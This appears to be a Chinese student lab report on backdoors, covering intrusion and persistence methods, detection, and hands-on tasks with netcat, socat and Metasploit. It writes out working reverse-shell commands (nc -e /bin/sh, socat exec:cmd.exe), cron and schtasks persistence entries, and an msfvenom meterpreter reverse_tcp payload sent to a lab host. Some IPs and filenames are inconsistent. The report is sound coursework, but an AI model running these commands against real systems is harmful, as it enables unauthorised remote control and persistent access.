- 实验内容
学习内容:
(1)从狭义上理解了后门的原理、后门一般通过什么方式被安装、安装后门后如何应用、以及如何预防后门
(2)常用后门工具的使用,例如:netcat,socat,MSF meterpreter
(3)使用上述工具对后门进行实践攻击的方法
回答问题:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
攻击者通过伪装成 “工作文件”“系统更新补丁” 等名义的钓鱼邮件,附带含后门程序(如恶意 exe、宏病毒文档)的附件。当用户点击打开附件时,后门程序会自动执行并植入系统 —— 例如,恶意文档通过启用宏代码下载远程后门到本地,或直接释放可执行后门文件,从而实现对系统的初步入侵。这种方式利用用户对可信发件人(如伪装成同事、企业 IT 部门)的信任,是最常见的入侵途径之一。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
注册表启动项:后门程序通过修改注册表关键路径(如 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run),添加自身路径,实现系统开机自动启动。
任务计划程序:通过 schtasks 命令或图形界面创建定时任务(如每分钟 / 每天执行一次),强制后门程序周期性启动,即使后门进程被终止也能重新运行。
服务注册:将后门注册为系统服务(如通过 sc create 命令),设置为 “自动启动” 模式,系统启动时会自动加载该服务对应的后门程序,隐蔽性较高。
(3)Meterpreter有哪些给你印像深刻的功能?
系统信息窃取:可直接获取目标主机的硬件配置(CPU、内存)、操作系统版本、用户列表、网络接口信息等,甚至能读取用户的浏览器历史、缓存密码(如通过 creds_all 命令),为后续渗透提供关键数据。
远程桌面控制:通过 rdesktop 或 screenshot 命令,实时截取目标主机屏幕画面,或直接开启远程桌面会话,像操作本地电脑一样控制目标系统,且无需依赖系统自带的远程桌面服务,隐蔽性更强。
(4)如何发现自己的系统有没有被安装后门?
进程与服务检查
Windows:通过 “任务管理器” 查看异常进程(如无图标、进程名模糊(如 svch0st.exe 伪装 svchost.exe)、CPU / 内存占用异常的进程);在 “服务” 界面检查非系统默认的可疑服务(如服务描述空白、启动类型为 “自动” 但无明确用途的服务)。
2. 实验目标
(1)使用netcat获取主机的Shell,cron启动某项任务
(2)使用socat获取主机操作Shell,任务计划启动
(3)使用MSF meterpreter生成后门,利用nc或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并进行提权
(5)使用MSF生成一个shellcode,注入到实验1中的pwn1中,获取反弹连接的Shell
- 实验过程
任务一:使用netcat获取主机的shell,cron启动某项任务
步骤 1:获取 Windows 主机 IP 地址
操作:在 Windows 主机中打开命令提示符(CMD)或 PowerShell,执行命令:ipconfig
IP地址为 192.168.1.105
步骤 2:Windows 主机启动端口监听
操作:
进入 netcat 工具所在目录,打开 PowerShell,执行命令启动监听:
步骤 3:虚拟机主动连接主机并让渡 shell 控制权
操作:在 Kali 虚拟机终端中执行命令:
nc 192.168.1.105 8888 -e /bin/sh 将虚拟机的 /bin/sh(shell 终端)绑定到该连接,即主机连接后可直接控制虚拟机的 shell。
步骤 4:设置 crontab 定时任务(创建持久化后门)
crontab -e
修改尾部加入command 5 * * * * /bin/netcat 192.168.1.105 8888 -e /bin/sh
执行命令查看当前用户的定时任务列表:
crontab -l
步骤 5:查看 crontab 任务文件(验证持久化存储)
查看目录下的文件,发现新增 root 文件
步骤 6:修改定时任务
输入echo "03 * * * * echo "20232428" >/home/root2/桌面/20232428.txt" > /var/spool/cron/crontabs/root
通过命令crontab -l,查看时程表,发现修改成功。
等到某个小时的3分钟,发现虚拟机中对应文件中已经被写入了指定字符串20232428,持久化定时任务命令修改成功
任务二:使用socat获取主机的Shell
一、环境准备
Windows 主机端 socat 监听配置
下载socat.rar(网址:https://gitee.com/wildlinux/NetSec/attach_files),解压后进入 socat 工具所在目录。
打开 PowerShell,执行命令启动 8888 端口监听:
powershell
./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
作用:主机监听 8888 端口,客户端连接后会获得交互式 CMD Shell,所有输入输出通过网络转发。
Kali 虚拟机端 socat 连接
打开 Kali 终端,执行命令连接 Windows 主机(IP 为192.168.3.13)的 8888 端口:
bash
socat - tcp:192.168.1.105:8888
作用:虚拟机主动发起连接,成功后可通过当前终端控制 Windows 主机的 CMD Shell。
二、设置持久化定时任务
Windows 主机编写并编译程序
编写程序:在目标目录创建代码文件,功能为创建 / 覆盖20232428yk.txt并写入字符串20232428:
运行
Kali 虚拟机创建 Windows 定时任务
在 Kali 终端中,执行命令在 Windows 主机上创建每分钟执行一次的定时任务:
schtasks /create /sc minute /mo 1 /tn "20232428yk" /tr "D:\Users\ausu\Desktop\wangluogongfang\11111\11111.exe"
作用:通过虚拟机远程控制,在 Windows 主机上创建名为20232428yk的定时任务,每分钟自动运行,实现持久化操作。
验证定时任务
在 Windows 主机中打开 “计算机管理”→“任务计划程序库”,查看任务的执行状态,确认其每分钟执行一次,即持久化设置成功。
任务三:使用MSF meterpreter生成后门
在Kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=2407 -f exe > 20232428_backdoor.exe
在Windows上打开监听
在Kali上用nc 192.168.1.105 2407 < 20232428_backdoor.exe将生成的20232408_backdoor.exe后门程序传过去
在kali上使用msfconsole指令进入msf控制台,对msf控制台进行配置,接着输入exploit进行监听,在Windows在打开20232408_backdoor.exe后成功获取到Windows的shell